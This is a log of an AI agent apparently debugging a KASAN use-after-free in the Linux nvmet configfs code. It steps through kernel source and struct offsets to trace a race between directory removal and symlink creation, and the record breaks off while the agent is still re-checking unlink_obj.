1453:			module_put(subsys_owner);
1454:	
1455:	out_put:
1456:		/*
1457:		 * link_obj()/link_group() took a reference from child->parent,
1458:		 * so the parent is safely pinned.  We can drop our working
1459:		 * reference.
1460:		 */
1461:		config_item_put(parent_item);
1462:		put_fragment(frag);
1463:	
1464:	out:
1465:		release_dentry_name_snapshot(&n);
1466:		return ERR_PTR(ret);
1467:	}
 SourceFile:fs/configfs/dir.c]

59/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25975
							output: 41
							thoughts: 984
						

Thoughts:
**My Thought Process Regarding `configfs` and `nvmet` Interactions**

Okay, let me walk through my reasoning here. I'm trying to understand a potential issue with how `link_group` and `unlink_group` interact with `configfs` objects, specifically in the context of `nvmet_port` and its `subsys_group`.

It seems to me that `link_group` is designed to establish a parent-child relationship between configuration items. When it's called for a `link_group` with a `parent_group` and a `group`, it proceeds to iterate over the `default_groups` within that `group` and recursively calls `link_group` for each. Crucially, in the scenario I'm examining, `link_obj` is invoked where the `parent_item` is the `port` itself, and the `item` is the `port->subsys_group`.

Looking at the `link_obj` function's behavior, it does a few key things:
*   It sets `item->ci_parent` to the provided `parent_item`.
*   It associates `item->ci_group` with the `config_group` of the `parent_item`.
*   It adds the `item` to the `children` list of its `ci_group`.
*   It increments the reference count of the `item` via `config_item_get`.

So, in my case, this means `port->subsys_group.cg_item.ci_parent` should be set to `&port->group.cg_item`, and `port->subsys_group.cg_item.ci_group` should point to `&port->group`. This seems like a standard, expected linkage.

Now, the problem arises when `configfs_rmdir` is called on the `port`. This, in turn, triggers `unlink_group` on the `port`. My understanding is that `unlink_group` on a `port` is supposed to iterate over its `default_groups` and call `unlink_group` recursively on them. This would mean `unlink_group` should be called on `port->subsys_group`.

Following this path, `unlink_group` on `port->subsys_group` would eventually call `unlink_obj` on `port->subsys_group.cg_item`.

The `unlink_obj` function does this:
*   It retrieves the associated `group`.
*   If a `group` exists, it removes the `item` from its `children` list.
*   It then *clears* `item->ci_group` and, critically, `item->ci_parent` to `NULL`.
*   Finally, it decrements the reference counts for both the `item` and its `group`.

This is where my concern really kicks in. `unlink_obj` explicitly sets `item->ci_parent = NULL`. However, I'm seeing code, specifically `nvmet_port_subsys_allow_link`, that attempts to dereference `parent->ci_parent` to get back to the parent `nvmet_port`:
```c
	struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
```
If `parent->ci_parent` is indeed `NULL` after `unlink_obj` has done its work, then `to_nvmet_port` will be called with a `NULL` pointer (or rather, a pointer to address 0). This calculation will result in a large negative offset, something like `0xffffffffffffffe0`.

This leads to the KASAN report I'm seeing:
```
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124
```
This reported address is a valid kernel address, which is perplexing if `parent->ci_parent` is truly `NULL`. This implies that the `parent->ci_parent` *shouldn't* be `NULL` at that point, or at least, not in the way `unlink_obj` is clearing it.

So, my core question is: why is `parent->ci_parent` *not* `NULL` when `nvmet_port_subsys_allow_link` is trying to use it, if `unlink_obj` is supposed to be clearing it?

Let me re-examine `unlink_group`. The definition I have is:
```c
static void unlink_group(struct config_group *group)
{
	struct config_group *new_group;

	list_for_each_entry(new_group, &group->default_groups, group_entry)
		unlink_group(new_group);

	group->cg_subsys = NULL;
	unlink_obj(&group->cg_item);
}
```
This function is indeed called on `port`. It iterates over `group->default_groups`. The crucial point is: are the `default_groups` within the `port` structure actually where `port->subsys_group` resides? My understanding is that `configfs_add_default_group` is used to add `port->subsys_group` to `port->group.default_groups`.

If `port->subsys_group` *is* added to `port->group.default_groups`, then the `unlink_group` call on `port` *should* lead to a recursive call of `unlink_group` on `port->subsys_group`. This, in turn, would call `unlink_obj` on `port->subsys_group.cg_item`, which *should* set `item->ci_parent` to `NULL`.

This brings me back to the contradiction: `unlink_obj` *should* set it to `NULL`, but the crash suggests it's *not* `NULL` (or at least, not the `NULL` I expect).

The only way `parent->ci_parent` wouldn't be `NULL` after `unlink_obj` is if `unlink_group` isn't actually called on `port->subsys_group`. Why would that be? Perhaps `port->subsys_group` isn't registered in `port->group.default_groups` in the first place? I need to carefully check the logic within `nvmet_ports_make` and how `port->subsys_group` is integrated into the default groups.


60/2 2026/08/26 18:12 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_ports_make]

Results:
map[SourceCode:2041:	static struct config_group *nvmet_ports_make(struct config_group *group,
2042:			const char *name)
2043:	{
2044:		struct nvmet_port *port;
2045:		u16 portid;
2046:		u32 i;
2047:	
2048:		if (kstrtou16(name, 0, &portid))
2049:			return ERR_PTR(-EINVAL);
2050:	
2051:		port = kzalloc_flex(*port, ana_state, NVMET_MAX_ANAGRPS + 1);
2052:		if (!port)
2053:			return ERR_PTR(-ENOMEM);
2054:	
2055:		if (IS_ENABLED(CONFIG_NVME_TARGET_TCP_TLS) && nvme_keyring_id()) {
2056:			port->keyring = key_lookup(nvme_keyring_id());
2057:			if (IS_ERR(port->keyring)) {
2058:				pr_warn("NVMe keyring not available, disabling TLS\n");
2059:				port->keyring = NULL;
2060:			}
2061:		}
2062:	
2063:		for (i = 1; i <= NVMET_MAX_ANAGRPS; i++) {
2064:			if (i == NVMET_DEFAULT_ANA_GRPID)
2065:				port->ana_state[1] = NVME_ANA_OPTIMIZED;
2066:			else
2067:				port->ana_state[i] = NVME_ANA_INACCESSIBLE;
2068:		}
2069:	
2070:		list_add(&port->global_entry, &nvmet_ports_list);
2071:	
2072:		INIT_LIST_HEAD(&port->entry);
2073:		INIT_LIST_HEAD(&port->subsystems);
2074:		INIT_LIST_HEAD(&port->referrals);
2075:		port->inline_data_size = -1;	/* < 0 == let the transport choose */
2076:		port->max_queue_size = -1;	/* < 0 == let the transport choose */
2077:		port->mdts = -1;		/* < 0 == let the transport choose */
2078:	
2079:		port->disc_addr.trtype = NVMF_TRTYPE_MAX;
2080:		port->disc_addr.portid = cpu_to_le16(portid);
2081:		port->disc_addr.adrfam = NVMF_ADDR_FAMILY_MAX;
2082:		port->disc_addr.treq = NVMF_TREQ_DISABLE_SQFLOW;
2083:		config_group_init_type_name(&port->group, name, &nvmet_port_type);
2084:	
2085:		config_group_init_type_name(&port->subsys_group,
2086:				"subsystems", &nvmet_port_subsys_type);
2087:		configfs_add_default_group(&port->subsys_group, &port->group);
2088:	
2089:		config_group_init_type_name(&port->referrals_group,
2090:				"referrals", &nvmet_referrals_type);
2091:		configfs_add_default_group(&port->referrals_group, &port->group);
2092:	
2093:		config_group_init_type_name(&port->ana_groups_group,
2094:				"ana_groups", &nvmet_ana_groups_type);
2095:		configfs_add_default_group(&port->ana_groups_group, &port->group);
2096:	
2097:		port->ana_default_group.port = port;
2098:		port->ana_default_group.grpid = NVMET_DEFAULT_ANA_GRPID;
2099:		config_group_init_type_name(&port->ana_default_group.group,
2100:				__stringify(NVMET_DEFAULT_ANA_GRPID),
2101:				&nvmet_ana_group_type);
2102:		configfs_add_default_group(&port->ana_default_group.group,
2103:				&port->ana_groups_group);
2104:	
2105:		return &port->group;
2106:	}
 SourceFile:drivers/nvme/target/configfs.c]

61/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28226
							output: 22
							thoughts: 1077
						

Thoughts:
**My Thought Process Unraveling a Kernel Bug**

Okay, so I've just added some code, and immediately KASAN is flagging an issue. My initial thought is, "Did I just break something by adding this?" But then I see the stack trace pointing towards `unlink_group` being called from `configfs_rmdir`. This seems logical – if a directory is being removed, associated resources should be cleaned up.

My immediate concern, however, is what happens if `configfs_rmdir` *isn't* the one removing the port directory? What if some other mechanism is responsible for its deletion? This could lead to a use-after-free situation if the cleanup logic in `configfs_rmdir` is bypassed.

But wait, the stack trace is quite explicit. It *does* show `configfs_rmdir` being invoked. Furthermore, it traces the path through `config_item_release` and ultimately to `kfree(port)`. This confirms that the memory for the port *is* being freed as expected during a `configfs_rmdir` operation.

Looking closer at `configfs_rmdir`, I see the `config_item_put(item)` call. This is crucial, as it decrements the reference count for the port directory item. Crucially, this `config_item_put` happens *after* a call to `unlink_group(to_config_group(item))`.

This is where the puzzle pieces start to clash. `unlink_group` is supposed to clean up its associated group and, critically, set the `ci_parent` pointer to `NULL`. If `unlink_group` has successfully executed, and then `config_item_put` is called (leading to the eventual `kfree`), then `parent->ci_parent` *should* be NULL. But in `nvmet_port_subsys_allow_link`, I'm seeing that `parent->ci_parent` is *not* NULL, which is the root of my bug.

Let's trace back again. In `configfs_symlink`, the `parent_item` variable, which is the `parent` in `nvmet_port_subsys_allow_link`, is obtained via `configfs_get_config_item(dentry->d_parent)`. This `dentry->d_parent` points to the `subsystems` directory, so `parent` is indeed `port->subsys_group.cg_item`.

The function `unlink_obj`, which is called by `unlink_group`, explicitly sets `item->ci_parent = NULL`. So, if `unlink_obj` has run, `ci_parent` must be NULL.

Now, I'm revisiting `unlink_obj`. It checks if `group` is valid. If `item->ci_group` is NULL, `unlink_obj` does nothing. Could it be that `item->ci_group` is already NULL? This would imply that `unlink_obj` has *already* been called for this `item`. But that seems unlikely, as `unlink_obj` is designed to be called only once as part of the cleanup.

My current hypothesis is that `parent->ci_parent` is not NULL *because* `unlink_obj` hasn't been called yet, despite the KASAN report indicating the object is freed. If the object is freed, `config_item_put` must have been called, which implies `unlink_group` *must* have been called. This creates a logical paradox. If `unlink_group` was called, `item->ci_parent` *should* be NULL.

So, my next step is to verify if `ci_parent` is indeed NULL when it's expected to be. If `parent->ci_parent` is NULL, then `to_nvmet_port(NULL)` would be called, which internally involves `container_of(NULL, struct nvmet_port, group)`. This expression would result in an attempt to calculate an offset from a NULL pointer, which is problematic. I need to investigate the offset of the `group` member within the `struct nvmet_port`. This seems to be the key to understanding why the `parent->ci_parent` is not reflecting the expected NULL state after the cleanup operations.


62/2 2026/08/26 18:12 tool codesearch-struct-layout
0m Args:
map[Name:nvmet_port]

Results:
map[Fields:[map[Name:entry OffsetBits:0 SizeBits:128] map[Name:disc_addr OffsetBits:128 SizeBits:8192] map[Name:group OffsetBits:8320 SizeBits:1088] map[Name:subsys_group OffsetBits:9408 SizeBits:1088] map[Name:subsystems OffsetBits:10496 SizeBits:128] map[Name:referrals_group OffsetBits:10624 SizeBits:1088] map[Name:referrals OffsetBits:11712 SizeBits:128] map[Name:global_entry OffsetBits:11840 SizeBits:128] map[Name:ana_groups_group OffsetBits:11968 SizeBits:1088] map[Name:ana_default_group OffsetBits:13056 SizeBits:1216] map[Name:keyring OffsetBits:14272 SizeBits:64] map[Name:priv OffsetBits:14336 SizeBits:64] map[Name:enabled OffsetBits:14400 SizeBits:8] map[Name:inline_data_size OffsetBits:14432 SizeBits:32] map[Name:max_queue_size OffsetBits:14464 SizeBits:32] map[Name:mdts OffsetBits:14496 SizeBits:32] map[Name:tr_ops OffsetBits:14528 SizeBits:64] map[Name:pi_enable OffsetBits:14592 SizeBits:8] map[Name:ana_state OffsetBits:14624 SizeBits:0]]]

63/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29617
							output: 44
							thoughts: 396
						

Thoughts:
**My Thought Process Unraveling the `nvmet_port_subsys_allow_link` Bug**

Okay, I'm staring at this KASAN report, and it's giving me a real headache. The report tells me there was a read of size 8 at address `ffff88801af304c8`. This is a valid kernel address, which immediately tells me that my initial assumption that `parent->ci_parent` was NULL must be wrong. I was thinking about the `group` offset being 8320 bits, or 1040 bytes, and how calling `to_nvmet_port(NULL)` would result in a negative offset, `0xfffffffffffffbf0`. But that's clearly not what happened here because the address is valid and positive. So, `parent->ci_parent` is definitely *not* NULL.

This then leads me to a crucial question: how can `parent->ci_parent` *not* be NULL, especially if `unlink_obj` was supposed to have been called? That's where things get tricky. I need to backtrack and understand what `parent` actually represents in this context, specifically within `nvmet_port_subsys_allow_link`.

I realize that the `parent` argument in `nvmet_port_subsys_allow_link` originates from `parent_item` within `configfs_symlink`. The code shows: `parent_item = configfs_get_config_item(dentry->d_parent);`. Now, I need to figure out what `parent_item` is.

My initial thought is that `parent_item` *should* be the `subsystems` directory. This makes sense because we're trying to link a `target` (which is the subsystem) into the `subsystems` directory. However, a nagging doubt creeps in: what if `parent_item` isn't the `subsystems` directory at all? What if, instead, `parent_item` is the `port` directory itself?

If `parent_item` *is* the `port` directory, then `parent->ci_parent` would then point to the `ports` directory. This scenario is critical because `nvmet_port_subsys_allow_link` then proceeds to perform this check: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. This is the core of the problem – if `parent->ci_parent` is the `ports` directory, then `to_nvmet_port` will be called with an argument that isn't a `nvmet_port` structure, leading to a read from an incorrect memory location.

So, my next step is to examine the context where `nvmet_port_subsys_allow_link` is invoked. I remember that `allow_link` is a method associated with `struct config_item_type`. Therefore, I need to look at the specific `config_item_type` being used, which I believe is `nvmet_port_subsys_type`. I'm going to dive into the definition of `nvmet_port_subsys_type` to understand how its `allow_link` operation is implemented and what assumptions it makes about its parent item. This will hopefully clarify whether my hypothesis about `parent_item` being the `port` directory is correct and why the KASAN report is flagging a read at that specific, valid kernel address.


64/2 2026/08/26 18:12 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_port_subsys_type]

Results:
map[SourceCode:1130:	static const struct config_item_type nvmet_port_subsys_type = {
1131:		.ct_item_ops		= &nvmet_port_subsys_item_ops,
1132:		.ct_owner		= THIS_MODULE,
1133:	};
 SourceFile:drivers/nvme/target/configfs.c]

65/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30150
							output: 46
							thoughts: 14
						

Thoughts:
**My Thought Process Regarding `nvmet_port_subsys_item_ops`**

Okay, so I'm looking at this `nvmet_port_subsys_item_ops` structure. My first instinct is to dissect its purpose, its role within the broader NVM-Express subsystem. It seems to be a set of operations, a veritable toolkit, specifically designed to manage and interact with items within a subsystem context, likely related to NVM-Express ports.

I'm considering what kinds of "items" these might be. Are we talking about NVM-Express controllers, namespaces, or perhaps even more granular configuration elements? The name "subsys_item_ops" strongly suggests a hierarchical relationship, where these operations act upon individual components or entries *within* a larger subsystem. This implies a need for functions to register, unregister, query, and perhaps even modify the state or properties of these items.

Then I'm thinking about the lifecycle of these operations. What triggers their invocation? Is it during subsystem initialization, when a new port is discovered, or perhaps when a specific configuration change is requested? I'm envisioning a scenario where the NVM-Express driver needs to dynamically discover and configure ports, and `nvmet_port_subsys_item_ops` would be the mechanism to integrate these discovered ports into the system's management framework.

I'm also contemplating the level of abstraction here. Is this a low-level, hardware-interacting set of ops, or is it higher-level, dealing with more abstract representations of NVM-Express entities? Given the "nvmet" prefix, I'm leaning towards a closer interaction with the NVM-Express protocol itself, rather than just a generic storage management interface.

Furthermore, I'm wondering about the potential error handling and state management involved. What happens if an operation fails? How are errors propagated back to the caller? And how does this structure ensure the consistency of the subsystem's state as these operations are executed? This implies that the underlying functions will need to be robust and potentially involve locking or other synchronization mechanisms to prevent race conditions.

Finally, I'm considering the design choices that led to this particular structure. Why a set of operations rather than a monolithic management function? This likely points to a desire for modularity, reusability, and extensibility. Different parts of the NVM-Express subsystem might require slightly different ways of interacting with these items, and this `ops` structure provides the flexibility to accommodate that. I'm basically seeing a well-defined interface for managing the components that constitute an NVM-Express port's presence and functionality within its parent subsystem.


66/2 2026/08/26 18:12 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_port_subsys_item_ops]

Results:
map[SourceCode:1125:	static struct configfs_item_operations nvmet_port_subsys_item_ops = {
1126:		.allow_link		= nvmet_port_subsys_allow_link,
1127:		.drop_link		= nvmet_port_subsys_drop_link,
1128:	};
 SourceFile:drivers/nvme/target/configfs.c]

67/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30310
							output: 35
							thoughts: 704
						

Thoughts:
**My Thought Process Unraveling `ci_parent` Nullity**

Okay, I've been digging into this `allow_link` function and its interaction with directories, specifically the `subsystems` directory acting as the `parent`. I've confirmed that `allow_link` is indeed being invoked on `subsystems`. My immediate question was about `parent->ci_parent`, which, from my understanding of the flow, should absolutely be NULL.

So, I went back to scrutinize `unlink_group`. I noticed that it recursively calls itself on `group->default_groups`. This is a critical point. I then recalled that `port->subsys_group` is added to `port->group.default_groups` via `configfs_add_default_group`. This means `unlink_group` will, in fact, call `unlink_group(&port->subsys_group)`.

And therein lies the chain of events I expected: `unlink_group` eventually calls `unlink_obj(&port->subsys_group.cg_item)`, and `unlink_obj` *must* set `item->ci_parent = NULL`. Therefore, `parent->ci_parent` (which would be `port->subsys_group.cg_item.ci_parent` in this context) *should* be NULL.

This led me to ponder potential race conditions. Could there be a scenario where `unlink_obj` is somehow *not* called? My initial thought was about `configfs_rmdir` being called on `subsystems`. But no, `subsystems` is a default group, so `configfs_rmdir` would just return `-EPERM`.

Then I considered the interaction between `configfs_rmdir` on the `port` directory and a concurrent `configfs_symlink` call on that same `port` directory. `configfs_symlink` begins by calling `configfs_get_config_item` on the parent directory. Now, if `configfs_rmdir` *had already* completed its `unlink_group` call, then `parent_item->ci_parent` would correctly be NULL. But if `configfs_rmdir` *hadn't* called `unlink_group` yet, then `parent_item->ci_parent` would *not* be NULL.

Here's where it gets tricky. If `configfs_rmdir` hasn't called `unlink_group`, it implies that the `port` object hasn't been freed yet. However, `configfs_symlink` has this critical section: it unlocks the inode of the directory, calls `get_target`, and then re-locks the inode. It's during this window, between the unlock and re-lock, that `configfs_rmdir` could potentially execute and complete.

If `configfs_rmdir` *does* complete during this time, it will call `unlink_group`, which, as established, sets `parent_item->ci_parent` to NULL. So, when `configfs_symlink` resumes and proceeds to `allow_link`, `parent_item->ci_parent` *should* still be NULL.

And that's the crux of my confusion: why is `parent->ci_parent` *not* NULL in the actual execution when all these steps seem to point to it being set to NULL? I'm compelled to dive back into `unlink_obj` itself to understand if there's a nuance I'm missing there.


68/2 2026/08/26 18:12 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

69/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31284
							output: 22
							thoughts: 670
						

Thoughts:
**My Thought Process Unraveling a Potential Kernel Bug**

Okay, let me walk through my internal monologue as I was digging into this. It started with a simple observation about the `unlink_obj` function. I noticed it has a check for `if (group)`. This immediately made me question: what happens if `item->ci_group` is `NULL` when `unlink_obj` is called? That's a critical path to consider.

My next step was to backtrack and understand when `item->ci_group` actually gets set. I traced it back to the `link_obj` function, where I saw this line: `item->ci_group = config_group_get(to_config_group(parent_item));`. This tells me that `item->ci_group` is assigned a value from its parent's config group during the linking process.

Now, the crucial question became: is `link_obj` actually called for `port->subsys_group`? I then looked at `link_group` and found this loop: `list_for_each_entry(new_group, &group->default_groups, group_entry) link_group(group, new_group);`. This confirmed my suspicion – `link_group` *does* iterate over default groups and recursively calls `link_group` itself. This means that `item->ci_group` will *not* be `NULL` in the scenario I was investigating.

Given that `item->ci_group` is definitely set, my logical conclusion was that `unlink_obj` *must* be setting `item->ci_parent` to `NULL`. If `item->ci_group` isn't NULL, then `item->ci_parent` should be properly unset by `unlink_obj`.

This led me to another critical point: is it possible that `configfs_rmdir` is *not* calling `unlink_group` on `port->subsys_group`? This seemed like a potential avenue for the error.

I then re-examined `unlink_group`. The relevant part here is the recursive call:
```c
	list_for_each_entry(new_group, &group->default_groups, group_entry)
		unlink_group(new_group);

	group->cg_subsys = NULL;
	unlink_obj(&group->cg_item);
```
I noticed that `list_for_each_entry` iterates over `group->default_groups`. The key insight here is that `unlink_group` *doesn't* remove these default groups from the `default_groups` list itself. This implies that the `unlink_group` function is indeed meant to be called for `port->subsys_group`, as it would then iterate through its own `default_groups` and recursively call `unlink_group`. Consequently, `unlink_obj` *must* be called for each of those items. And if `unlink_obj` is called, then `item->ci_parent` *should* be set to `NULL`.

So, the chain of logic led me to believe that `item->ci_parent` *must* be `NULL` in this scenario. But then, I hit a contradiction with the KASAN report. If `item->ci_parent` is `NULL`, then `to_nvmet_port(NULL)` evaluates to `0xfffffffffffffbf0`. The `port->subsystems` field is located at an offset of `10496` (which is `0x2900` in hex). So, the address calculated would be `0xfffffffffffffbf0 + 0x2900 = 0xffffffffffff24f0`.

However, the KASAN report was showing a read at address `ffff88801af304c8`. I noticed that `0x4c8` is `1224` in decimal, and that the base address `ffff88801af30000` plus `0x4c8` equals the KASAN address.

This discrepancy threw me for a loop. If `item->ci_parent` is `NULL`, the calculated address doesn't match the observed KASAN report. This meant my assumption about `item->ci_parent` being `NULL` might be wrong, or the offset calculation for `port->subsystems` was incorrect in my mental model.

I then re-checked the offset of `subsystems` within the `struct nvmet_port`. I confirmed that the offset is `10496` bytes, which translates to `0x2900`. But the KASAN report indicates a read at an offset of `1224` (or `0x4c8`) from a base address. This is the critical point where the calculated offset for `subsystems` doesn't align with the observed access location. I realized I needed to re-examine the `struct nvmet_port` layout very carefully to understand what data resides at offset `0x4c8`.


70/2 2026/08/26 18:12 tool codesearch-struct-layout
0m Args:
map[Name:nvmet_port]

Results:
map[Fields:[map[Name:entry OffsetBits:0 SizeBits:128] map[Name:disc_addr OffsetBits:128 SizeBits:8192] map[Name:group OffsetBits:8320 SizeBits:1088] map[Name:subsys_group OffsetBits:9408 SizeBits:1088] map[Name:subsystems OffsetBits:10496 SizeBits:128] map[Name:referrals_group OffsetBits:10624 SizeBits:1088] map[Name:referrals OffsetBits:11712 SizeBits:128] map[Name:global_entry OffsetBits:11840 SizeBits:128] map[Name:ana_groups_group OffsetBits:11968 SizeBits:1088] map[Name:ana_default_group OffsetBits:13056 SizeBits:1216] map[Name:keyring OffsetBits:14272 SizeBits:64] map[Name:priv OffsetBits:14336 SizeBits:64] map[Name:enabled OffsetBits:14400 SizeBits:8] map[Name:inline_data_size OffsetBits:14432 SizeBits:32] map[Name:max_queue_size OffsetBits:14464 SizeBits:32] map[Name:mdts OffsetBits:14496 SizeBits:32] map[Name:tr_ops OffsetBits:14528 SizeBits:64] map[Name:pi_enable OffsetBits:14592 SizeBits:8] map[Name:ana_state OffsetBits:14624 SizeBits:0]]]

71/2 2026/08/26 18:12 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 32268
							output: 21
							thoughts: 184
						

Thoughts:
**My Thought Process Unpacking Data Structure Offsets**

Okay, so I'm looking at these memory addresses and bit/byte offsets, and it's all about trying to understand the layout of a particular data structure. My immediate focus is on the `group`, `subsys_group`, and `subsystems` fields, and their reported positions. I see that `group` is at 8320 bits, which translates to 1040 bytes, or `0x410` in hexadecimal. Then `subsys_group` is a bit further down at 9408 bits, which is 1176 bytes, or `0x498`. And `subsystems` comes after that, at 10496 bits, equating to 1312 bytes, or `0x520`.

Now, the crucial piece of information is that I've performed a read at offset `1224` (or `0x4c8`). My next question, naturally, is "What exactly am I looking at when I read at `0x4c8`?" To figure this out, I need to relate this read offset back to the known structure fields.

I can see that the `subsys_group` field is located at `0x498`. If my read is at `0x4c8`, I can calculate the difference: `0x4c8 - 0x498`. This gives me an offset of `0x30`, which is equivalent to 48 bytes. This tells me that my read at `0x4c8` is actually landing *inside* the `subsys_group` field, specifically 48 bytes into it.

Since I know `subsys_group` is declared as a `struct config_group`, my next step is to go and examine the definition of `struct config_group` itself. This will allow me to understand what those first 48 bytes represent within that structure.


72/2 2026/08/26 18:13 tool codesearch-struct-layout
0m Args:
map[Name:config_group]

Results:
map[Fields:[map[Name:cg_item OffsetBits:0 SizeBits:640] map[Name:cg_children OffsetBits:640 SizeBits:128] map[Name:cg_subsys OffsetBits:768 SizeBits:64] map[Name:default_groups OffsetBits:832 SizeBits:128] map[Name:group_entry OffsetBits:960 SizeBits:128]]]

73/2 2026/08/26 18:13 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 32545
							output: 21
							thoughts: 44
						

Thoughts:
**My Thought Process on `cg_item` and `struct config_item`**

Right, so the first thing that struck me was this mention of `cg_item` being 640 bits, which translates to 80 bytes. That's a concrete size, a good starting point. But then, immediately, my expert brain kicks in and says, "Hold on, is that *just* a raw chunk of data, or is it something more structured?" My intuition is screaming that a specific size like that usually implies a defined structure, not just an arbitrary block.

So, my next thought is a quick, almost instinctive, internal query: "Is `cg_item` actually a `struct config_item`?" This is a crucial distinction. If it's a raw `cg_item`, the 80 bytes is the primary characteristic. But if it's a `struct config_item`, then its *contents* and the meaning of those 80 bytes become paramount. The size is now a consequence of the structure's definition, not its sole defining feature.

This leads me directly to the follow-up: "Let's check `struct config_item`." This is where I'd be looking for the definition, the members, the layout. I'd be wanting to understand *what* makes up those 80 bytes. Is it a collection of flags? Pointers? Embedded data? The specific fields within `struct config_item` will tell me exactly how that 80-byte block is being utilized and what information it's intended to convey. It's about moving from the "what" (a fixed size) to the "how" and "why" (the structure's definition).


74/2 2026/08/26 18:13 tool codesearch-struct-layout
0m Args:
map[Name:config_item]

Results:
map[Fields:[map[Name:ci_name OffsetBits:0 SizeBits:64] map[Name:ci_namebuf OffsetBits:64 SizeBits:160] map[Name:ci_kref OffsetBits:224 SizeBits:32] map[Name:ci_entry OffsetBits:256 SizeBits:128] map[Name:ci_parent OffsetBits:384 SizeBits:64] map[Name:ci_group OffsetBits:448 SizeBits:64] map[Name:ci_type OffsetBits:512 SizeBits:64] map[Name:ci_dentry OffsetBits:576 SizeBits:64]]]

75/2 2026/08/26 18:13 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 32720
							output: 35
							thoughts: 857
						

Thoughts:
**My Debugging Journey: Unraveling a Use-After-Free in NVM-Express**

Okay, let me walk you through my thought process as I chased down this rather insidious bug.

It started with observing a crash. The critical piece of information was an offset: `0x4c8`. My first instinct was to correlate this with known structures. I quickly identified that `ci_parent` is a 384-bit field, which translates to 48 bytes. Simultaneously, I noted that `subsys_group` resides at offset `0x498`.

Then, the pieces began to align. If `subsys_group` is at `0x498`, and `cg_item` is the first member of `subsys_group`, then `subsys_group.cg_item` would effectively start at `0x498`. And lo and behold, `subsys_group.cg_item.ci_parent` would then be at `0x498 + 48`, which is precisely `0x4c8`! This was a huge breakthrough – the read at offset `0x4c8` was a read of `parent->ci_parent`.

Now, the context of `parent` is crucial. I recalled that `parent` itself is `&port->subsys_group.cg_item`. This means `parent` is effectively located at offset `0x498` relative to the `port` structure. So, `parent->ci_parent` corresponds to `port->subsys_group.cg_item.ci_parent`, which is at `0x4c8`.

This led to a critical realization: the crash wasn't occurring *inside* the `to_nvmet_port` call, as one might initially suspect. The problematic line was `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. This line *first* reads `parent->ci_parent`. But since `parent` is `&port->subsys_group.cg_item`, this operation is actually reading `port->subsys_group.cg_item.ci_parent`.

And here's the core of the bug: because `port` had already been freed, reading `port->subsys_group.cg_item.ci_parent` was a classic use-after-free scenario. The memory was gone, but we were still trying to access it.

But then a question arose: if `parent` is `&port->subsys_group.cg_item`, and `port` is freed, doesn't that mean `parent` is also freed? My initial thought was yes, it *should* be. However, I then remembered that `configfs_symlink` holds a reference to `parent`. Specifically, the line `parent_item = configfs_get_config_item(dentry->d_parent);` increments the reference count of `parent_item` (which is indeed `&port->subsys_group.cg_item`). This means the reference count of `parent_item` was greater than zero, yet its underlying memory had been deallocated.

Why was the memory freed? Because `port->subsys_group` (and thus its `cg_item`) is embedded directly within the `struct nvmet_port`. When `nvmet_port_release` is called and the reference count of `port->group.cg_item` drops to zero, the entire `port` structure, including `subsys_group`, is freed.

This is the fundamental flaw: the lifetime of `port->subsys_group` is inextricably tied to the lifetime of the `port` itself. However, `configfs` mechanisms, like `configfs_symlink`, are capable of acquiring references to these "default" groups (`subsys_group`) independently of their parent `port` group.

So, the sequence of events is:
1. `configfs_rmdir` is called on `port`.
2. This decrements the reference count of `port->group`.
3. The refcount of `port->group` reaches zero.
4. `nvmet_port_release` is invoked, which frees `port`.
5. At this point, `port->subsys_group.cg_item` (which is what `parent` points to) is freed.
6. Meanwhile, `configfs_symlink` *still* holds a reference to `port->subsys_group.cg_item`, making it appear as if the object is still valid from a reference counting perspective.

This is a textbook example of a configfs default group lifetime bug. The fix, as I see it, is to ensure that `nvmet_port_release` is only executed when the reference counts of *all* associated default groups also reach zero.

A brief moment of confusion arose when I thought about how configfs default groups manage their parent references. But then I re-examined `link_obj`. It explicitly sets `item->ci_parent = parent_item;` and `item->ci_group = config_group_get(to_config_group(parent_item));`. This means `port->subsys_group.cg_item` *does* hold a reference to `port->group` via its `ci_group` field! This is critical because it implies `port->group` cannot be freed until `port->subsys_group.cg_item` is freed. I then went back to re-examine `unlink_obj` to fully trace this dependency chain.


76/2 2026/08/26 18:13 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

